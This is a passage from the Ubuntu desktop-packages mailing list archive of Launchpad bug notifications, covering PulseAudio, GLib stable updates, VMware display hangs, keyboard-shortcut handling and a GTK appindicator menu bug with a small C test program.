be revisited. Allowing the use of usb-creator without authentication presents an unnecessary security risk. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/policykit-desktop-privileges/+bug/1832337/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1585084] Re: Volume notification keeps popping up constantly (the notify-OSD bubble on top-right corner)
I was experiencing this issue with 18.04. Running GA-Z170-HD3-rev onboard audio from the back panel. "Line Out - Built-in-Audio" would flicker between 'plugged in' and 'unplugged' causing a little pop or drop for a few 40-60ms every 4-5 seconds. I don't think that anything was 'loose' b/c during my troubleshooting, I eventually found a fix that included installing qasmixer before using #20. Also, the problem was not present in Windows on the same machine. #20 works for me (although I didn't need to override the mic, just the front headphone Jack) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1585084 Title: Volume notification keeps popping up constantly (the notify-OSD bubble on top-right corner) Status in pulseaudio package in Ubuntu: Confirmed Bug description: I upgraded to Ubuntu 16.04 yesterday, I did a clean install while preserving the home directory which is mounted in a separate partition. Even during the installation I had constant volume notification bubble appearing on the top-right corner of my screen, it would come and go about twice every minute. I just thought it was due to installing hardware drivers or something but the problem persisted even when I booted into the freshly installed system. I did some searching and two users reported the exact problem. And one more suggested this happens because constant disconnect and reconnect of the sound card which makes sense as the sound settings flashes briefly during every popup. Someone on IRC suggested to kill pulseaudio and thus restart it, that does not fix the issue. I also tried the Live environment thinking it might be due to some old config files in home partition (which was preserved during upgrade), but this problem happens in the live environment as well, which makes sense because it was present during installation as well. Users with the same issue: http://ubuntuforums.org/showthread.php?t=2323815 http://askubuntu.com/questions/773008/constant-volume-osd-in-16-04 http://askubuntu.com/questions/767466/sound-card-being-disconnected-reconnected-constantly Thanks. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: pulseaudio 1:8.0-0ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-22.40-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: sidd 1651 F pulseaudio /dev/snd/controlC0: sidd 1651 F pulseaudio /dev/snd/controlC1: sidd 1651 F pulseaudio CurrentDesktop: Unity Date: Tue May 24 12:31:12 2016 InstallationDate: Installed on 2016-05-23 (0 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) SourcePackage: pulseaudio UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/23/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 0705 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: M5A97 EVO dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr0705:bd08/23/2011:svnTobefilledbyO.E.M.:pnTobefilledbyO.E.M.:pvrTobefilledbyO.E.M.:rvnASUSTeKComputerINC.:rnM5A97EVO:rvrRev1.xx:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To be filled by O.E.M. dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: To be filled by O.E.M. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1585084/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1831827] Re: Update to 1.48
Hello Robert, or anyone else affected, Accepted snapd-glib into disco-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/snapd- glib/1.48-0ubuntu0.19.04.0 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-disco to verification-done-disco. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-disco. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: snapd-glib (Ubuntu Disco) Status: Triaged => Fix Committed ** Tags added: verification-needed verification-needed-disco -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to snapd-glib in Ubuntu. https://bugs.launchpad.net/bugs/1831827 Title: Update to 1.48 Status in snapd-glib package in Ubuntu: Fix Released Status in snapd-glib source package in Xenial: Triaged Status in snapd-glib source package in Bionic: Triaged Status in snapd-glib source package in Cosmic: Won't Fix Status in snapd-glib source package in Disco: Fix Committed Status in snapd-glib source package in Eoan: Fix Released Bug description: [Impact] A newer snapd-glib is available that adds support for new features in snapd. snapd-glib has an SRU exception as per https://wiki.ubuntu.com/SnapdGlibUpdates [Test Case] The reverse depends of snapd-glib should continue to function, this is currently: - gnome-software - gnome-initial-setup - pulseaudio [Regression Potential] Any new release has a risk of introducing bugs, this is mitigated by automatic regression tests. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/snapd-glib/+bug/1831827/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832457] Re: [SRU] 2.60.4
I don't see 2.60.4 in eoan yet so I'm setting this back to Fix Committed. ** Changed in: glib2.0 (Ubuntu) Status: Fix Released => Fix Committed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to glib2.0 in Ubuntu. https://bugs.launchpad.net/bugs/1832457 Title: [SRU] 2.60.4 Status in glib2.0 package in Ubuntu: Fix Committed Status in glib2.0 source package in Disco: In Progress Bug description: [ Description ] New stable release in the 2.60 series. [ QA ] Upstream release, so QA already performed by maintainers https://wiki.ubuntu.com/StableReleaseUpdates/GNOME This upload will trigger many autopkgtests that we expect to not be regressed by this upload. Pretty much all parts of GNOME use GLib, so test anything in the desktop that you can. [ Regression potential ] Various fixes in multiple places so multiple apps could be affected. [ Upstream NEWS ] Overview of changes in GLib 2.60.4 == * Fixes to improved network status detection with NetworkManager (#1788) * Leak fixes to some `glib-genmarshal` generated code (#1793) * Further fixes to the Happy Eyeballs (RFC 8305) implementation (!865) * File system permissions fix to clamp down permissions in a small time window when copying files (CVE-2019-12450, !876) * Bugs fixed: - #1755 Please revert #535 gmacros: Try to use the standard __func__ first in G_STRFUNC - #1788 GNetworkMonitor claims I am offline - #1792 glib-genmarshal generated valist marshal does not respect static scope for some types - #1793 glib-genmarshal generates wrong code for va marshaler for VARIANT type - #1795 Fix mingw32 CI on older branches - !865 gnetworkaddress: fix "happy eyeballs" logic - !878 Backport !876 “gfile: Limit access to files when copying” to glib-2-60 Overview of changes in GLib 2.60.3 == * Various fixes to small key/value support in `GHashTable` (#1749, #1780) * Bugs fixed: - #1747 Critical in g_socket_client_async_connect_complete - #1749 New GHashTable implementation confuses valgrind - #1759 test_month_names: assertion failed - #1771 GNetworkAddressAddressEnumerator unsafely modifies cache in GNetworkAddress - #1774 Leaks in gsocketclient.c connection code - #1776 glib/date test fails - #1780 GDB pretty-printer for GHashTable no longer works - !815 Merge branch 'wip/tingping/socketclient-cancel-2' into 'master' - !816 Backport !814 “gschema.dtd: Add target attribute to alias” to glib-2-60 - !826 Backport !824 “gsocketclient: Fix a leak in the connection code” to glib-2-60 - !829 Backport !828 “build: Fix a typo in the test whether _NL_ABALTMON_n is supported” to glib-2-60 - !834 Backport !823 "gnetworkaddress: Fix parallel enumerations interfering with eachother" to glib-2-60 - !838 Backport !835 “Fix typo in German translation” to glib-2-60 - !841 Backport !839 “tests: Update month name check for Greek locale” to glib-2-60 - !844 Backport !840 “ghash: Disable small-arrays under valgrind” to glib-2-60 - !846 Backport !845 “Fixing g_format_size_full() on Windows-x64” to glib-2-60 - !855 Backport !848 (more GHashTable fixes) to glib-2-60 - !858 Backport !852 “Update gdb pretty-printer for GHashTable” to glib-2-60 * Translation updates: - German Overview of changes in GLib 2.60.2 == * Fix crash when displaying notifications on macOS (!786) * Improve network status detection with NetworkManager (!781) * Bugs fixed: - !790 glib/gconstructor.h: Include stdlib.h for MSVC builds - !793 Backport !786: “cocoanotificationbackend: do not release readonly property” to glib-2-60 - !803 Backport !781 “gnetworkmonitornm: Fix network available detection” to glib-2-60 * Translation updates: - Catalan Overview of changes in GLib 2.60.1 == * Fix documentation for `gdbus-tool wait` to use correct units * Bugs fixed: - #1709 GResource generation test incompatible with stable LLVM on Linux - #1725 gosxappinfo.h is not installed on macOS - #1737 gdbus-tool wait command timeout argument incorrect unit reference - !711 socket: Fix annotation for flags in g_socket_receive_message - !722 Backport codegen: Fix use of uninitialised variable from !721 to glib-2-60 - !727 Backport !719 “Handle an UNKNOWN NetworkManager connectivity as NONE” to glib-2-60 - !729 Backport !728 “gsocket: Remove (type) annotation from flags arguments” to glib-2-60 - !758 gdbusaddress, win32: backport using cwd for running rundll32 - !775 meson: Hotfix for iconv detection on macOS * Translation updates: - Basque - Dutch To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1832457/+subscriptions -- Mailing list: https://launchpad.net/
[Desktop-packages] [Bug 1832458] Re: [SRU] 2.60.3
Hello Iain, or anyone else affected, Accepted glib-networking into disco-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/glib- networking/2.60.3-1~ubuntu19.04.1 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-disco to verification-done-disco. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-disco. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: glib-networking (Ubuntu Disco) Status: In Progress => Fix Committed ** Tags added: verification-needed verification-needed-disco -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to glib-networking in Ubuntu. https://bugs.launchpad.net/bugs/1832458 Title: [SRU] 2.60.3 Status in glib-networking package in Ubuntu: Fix Released Status in glib-networking source package in Disco: Fix Committed Bug description: [ Description ] Upstream have release 2.60.3 in the 2.60 series [ QA ] Upstream release, so QA already performed by maintainers https://wiki.ubuntu.com/StableReleaseUpdates/GNOME Make sure no autopkgtests are regressed by this upload. Suggestion for something explicit to test would be epiphany on secure websites. [ Regression potential ] A broken glib-networking could affect various applications' ability to use networking properly, particularly TLS. [ Upstream NEWS ] 2.60.3 - June 9, 2019 = - Fix clobbering of the thread-default main context after certificate verification failure during async handshakes since 2.60.1 (#85) - Fix GTlsDatabase initialization failures in OpenSSL backend due to uninitialized memory use - Fix minor leak of ALPN protocols 2.60.2 - May 2, 2019 - OpenSSL backend now defaults to system trust store (#62) - Fix client auth failure error with GnuTLS 3.6.7 (#70) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/glib-networking/+bug/1832458/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
This commit has most likely other 'drm/vmwgfx' commit deps. I'll work at finding what other bits are missing. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833192] Re: VMware: post custom script isn't run correctly
Wrong source package ** Also affects: cloud-init (Ubuntu) Importance: Undecided Status: New ** Changed in: evince (Ubuntu) Status: New => Invalid ** Merge proposal linked: https://code.launchpad.net/~xiaofengw/cloud-init/+git/cloud-init/+merge/368902 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1833192 Title: VMware: post custom script isn't run correctly Status in cloud-init package in Ubuntu: New Status in evince package in Ubuntu: Invalid Bug description: In DataSouceOVF.py, it could launch the user defined script before the customization and after the customization. In current design, the post customization script is added as the rc.local service and launched after the VM reboot. But actually the cloud-init doesn't need to reboot the VM, so the post customization script is not launched as we expected. We need to leverage the cc_scripts_per_instance module and let it to trigger the post customization script. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: evince (not installed) ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6 Uname: Linux 4.4.0-21-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 Date: Tue Jun 18 08:58:04 2019 InstallationDate: Installed on 2018-08-03 (319 days ago) InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.3) ProcEnviron: TERM=linux PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: evince UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cloud-init/+bug/1833192/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1683383]
yanp.b...@gmail.com: Why did you reopen this task without any comment explaining the reason? See comment 201? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1683383 Title: Keyboard layout change on hotkeys press instead of release and do not work well with shortcuts (reopen) Status in X.Org X server: Unknown Status in xorg-server package in Ubuntu: Confirmed Status in xorg package in Debian: New Bug description: From duplicate bug 1720364 report. Steps to reproduce: 1. Install ubuntu-mate-desktop on Ubuntu 16.04 LTS with HWE (Xorg 1.19.5), or 17.10 or 18.04 LTS. 2. Set-up two keyboard layouts - English and Russian 3. Set as keyboard layout switcher in mate-control-center 4. Try to use shortcuts starting from : 4.1. Open Firefox, open new tab, go to some site in it, close tab, try to click to restore closed tab. 4.2. Open mate-terminal, try to open new tab with , or copy (), or paste (). 4.3. Open pluma, write some text, try to navigate in it with . Expected results: switches keyboard layout, shortcuts starting from work normally. Actual results: switches keyboard layout, shortcuts starting from do not work. Notes: 1. Ubuntu 16.04 LTS (Xorg 1.18.4) with Marco and Compton work normally with keyboard layout switcher. 2. This problem was discovered before on 13.10, 14.04 and other modern versions with GNOME desktop (Metacity and Compiz) - see bug 1245473. --- Original description below: This is a reopen of bug #36812, which has reappeared in Kubuntu 17.04 Zesty Zapus. This is a bug about shortcuts mapped to combinations which include each other. For example, if we have Ctrl+Shift (for keyboard layout) and Ctrl+Shift+N (to open a new terminal), then we are practically unable to use the second shortcut; this is what happens: Ctrl press (nothing happens) Shift press (keyboard layout change) N (a simple N appears, since a shortcut has already fired) The expected behavior is to fire shortcuts on the release (not on press) of the special keys (ctrl,shift,alt, etc) which is also how Windows behave. This is a serious problem for bilingual layouts, typically using Alt+Shift or Ctrl+Shift for keyboard layout change. Apparently, the bug has reappeared after the patch that used to fix the problem (208_switch_on_release.diff) has been removed from X.Org 1.19 packages. There is an updated patch in the upstream ticket https://bugs.freedesktop.org/show_bug.cgi?id=865 (link to the attachment: https://bugs.freedesktop.org/attachment.cgi?id=129861). ProblemType: Bug DistroRelease: Ubuntu 17.04 Package: xserver-xorg-core 2:1.19.3-1ubuntu1 Uname: Linux 4.9.0-22.1-liquorix-amd64 x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.4-0ubuntu4 Architecture: amd64 CurrentDesktop: KDE Date: Mon Apr 17 17:46:35 2017 InstallationDate: Installed on 2015-05-01 (716 days ago) InstallationMedia: Kubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) SourcePackage: xorg-server UpgradeStatus: Upgraded to zesty on 2017-04-16 (1 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/xorg-server/+bug/1683383/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1683383]
Hi! I have the same issue i would like to know the solution Castro B, gratisdatingsite.nl -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1683383 Title: Keyboard layout change on hotkeys press instead of release and do not work well with shortcuts (reopen) Status in X.Org X server: Unknown Status in xorg-server package in Ubuntu: Confirmed Status in xorg package in Debian: New Bug description: From duplicate bug 1720364 report. Steps to reproduce: 1. Install ubuntu-mate-desktop on Ubuntu 16.04 LTS with HWE (Xorg 1.19.5), or 17.10 or 18.04 LTS. 2. Set-up two keyboard layouts - English and Russian 3. Set as keyboard layout switcher in mate-control-center 4. Try to use shortcuts starting from : 4.1. Open Firefox, open new tab, go to some site in it, close tab, try to click to restore closed tab. 4.2. Open mate-terminal, try to open new tab with , or copy (), or paste (). 4.3. Open pluma, write some text, try to navigate in it with . Expected results: switches keyboard layout, shortcuts starting from work normally. Actual results: switches keyboard layout, shortcuts starting from do not work. Notes: 1. Ubuntu 16.04 LTS (Xorg 1.18.4) with Marco and Compton work normally with keyboard layout switcher. 2. This problem was discovered before on 13.10, 14.04 and other modern versions with GNOME desktop (Metacity and Compiz) - see bug 1245473. --- Original description below: This is a reopen of bug #36812, which has reappeared in Kubuntu 17.04 Zesty Zapus. This is a bug about shortcuts mapped to combinations which include each other. For example, if we have Ctrl+Shift (for keyboard layout) and Ctrl+Shift+N (to open a new terminal), then we are practically unable to use the second shortcut; this is what happens: Ctrl press (nothing happens) Shift press (keyboard layout change) N (a simple N appears, since a shortcut has already fired) The expected behavior is to fire shortcuts on the release (not on press) of the special keys (ctrl,shift,alt, etc) which is also how Windows behave. This is a serious problem for bilingual layouts, typically using Alt+Shift or Ctrl+Shift for keyboard layout change. Apparently, the bug has reappeared after the patch that used to fix the problem (208_switch_on_release.diff) has been removed from X.Org 1.19 packages. There is an updated patch in the upstream ticket https://bugs.freedesktop.org/show_bug.cgi?id=865 (link to the attachment: https://bugs.freedesktop.org/attachment.cgi?id=129861). ProblemType: Bug DistroRelease: Ubuntu 17.04 Package: xserver-xorg-core 2:1.19.3-1ubuntu1 Uname: Linux 4.9.0-22.1-liquorix-amd64 x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.4-0ubuntu4 Architecture: amd64 CurrentDesktop: KDE Date: Mon Apr 17 17:46:35 2017 InstallationDate: Installed on 2015-05-01 (716 days ago) InstallationMedia: Kubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) SourcePackage: xorg-server UpgradeStatus: Upgraded to zesty on 2017-04-16 (1 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/xorg-server/+bug/1683383/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1824111] Re: Backport packages for 18.04.3 HWE stack
The mesa upload has created a fair number of autopkgtest regressions. What is the status of those? ** Changed in: mesa (Ubuntu Bionic) Status: Fix Committed => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1824111 Title: Backport packages for 18.04.3 HWE stack Status in OEM Priority Project: Confirmed Status in libclc package in Ubuntu: Invalid Status in libdrm package in Ubuntu: Invalid Status in llvm-toolchain-8 package in Ubuntu: Invalid Status in mesa package in Ubuntu: Invalid Status in libclc source package in Bionic: Fix Committed Status in libdrm source package in Bionic: Fix Committed Status in llvm-toolchain-8 source package in Bionic: Fix Committed Status in mesa source package in Bionic: Incomplete Status in xorg-server-hwe-18.04 source package in Bionic: Fix Committed Status in xserver-xorg-video-amdgpu-hwe-18.04 source package in Bionic: Fix Committed Status in xserver-xorg-video-ati-hwe-18.04 source package in Bionic: Fix Committed Status in xserver-xorg-video-nouveau-hwe-18.04 source package in Bionic: Fix Committed Bug description: [Impact] These are needed for 18.04.3 images. [Test case] Boot a daily image, see that it still has the necessary stack installed and working. Check upgrade from stock bionic. [Regression potential] libdrm: very minimal chance for regressions llvm-8: a new package, no regression potential on it's own libclc: more or less just adds support for new llvm mesa: a new major release, but we'll pull the final stable release of 19.0.x series, so there shouldn't be any regressions left at that point xserver: a new minor release xorg drivers: modest updates, mainly just new ati/amdgpu [Other info] To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1824111/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1830422] Re: Shell boxpointer menus don't have scroll buttons when they exceed the screen height
Is it possible to test what is fixed? When will it be in public?
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1830422
Title:
Shell boxpointer menus don't have scroll buttons when they exceed the
screen height
Status in GNOME Shell:
Fix Released
Status in gnome-shell package in Ubuntu:
Opinion
Status in gnome-shell-extension-appindicator package in Ubuntu:
Confirmed
Bug description:
I am using appindicator-1.0 in conjunction with Gtk+2.0 menu. Menu
consist of constant items and many dynamically added items. If the
screen pixel resolution is not so good as it must be then the last
menu items are not visible. Ubuntu 16.04 automatically add top and
bottom bars with "^" and "v" arrows to scroll menu when mouse pointer
is over these bars. But in Linux Ubuntu 18.04 (and 19.04 too) such
scrolling bars are not appearing.
On the other hand menu scrolling is working fine anywhere into usual
GTK window with menu bar (without using appindicator). Ubuntu 16.04
and Ubuntu 18.04 use the same 12.10.1 libappindicator version.
Here is the test c program which illustrates the issue. It works fine
in Linux Ubuntu 16.04 and has the described above problem in Linux
18.04:
#include
#include
#define LOGO_PNG "/home/super/my-project/menu-test/logo.png"
AppIndicator* c_indicator;
GtkWidget* c_menu;
void menu_quit_cb(GtkMenuItem* menuitem, gpointer user_data)
{
gtk_main_quit();
}
int main(int argc, char *argv[])
{
gtk_init(&argc, &argv);
int i;
GtkWidget* item;
char title[128];
c_menu = gtk_menu_new();
item = gtk_menu_item_new_with_label("Quit");
g_signal_connect(item, "activate", G_CALLBACK(menu_quit_cb), NULL);
gtk_menu_shell_append(GTK_MENU_SHELL(c_menu), item);
gtk_widget_show(item);
gtk_menu_shell_append(GTK_MENU_SHELL(c_menu),
gtk_separator_menu_item_new());
for (i = 1; i <= 100; ++i) {
snprintf(title, sizeof(title), "Item #%03u", i);
item = gtk_menu_item_new_with_label(title);
gtk_menu_shell_append(GTK_MENU_SHELL(c_menu), item);
gtk_widget_show(item);
}
//
c_indicator = app_indicator_new("Menu Test", LOGO_PNG,
APP_INDICATOR_CATEGORY_APPLICATION_STATUS);
app_indicator_set_status(c_indicator, APP_INDICATOR_STATUS_ACTIVE);
app_indicator_set_icon(c_indicator, LOGO_PNG);
app_indicator_set_menu(c_indicator, GTK_MENU(c_menu));
gtk_main();
return 0;
}
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: libappindicator1 12.10.1+18.04.20180322.1-0ubuntu1
ProcVersionSignature: Ubuntu 4.15.0-50.54-generic 4.15.18
Uname: Linux 4.15.0-50-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.6
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Fri May 24 21:15:59 2019
InstallationDate: Installed on 2018-07-03 (325 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
SourcePackage: libappindicator
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/gnome-shell/+bug/1830422/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1717453]
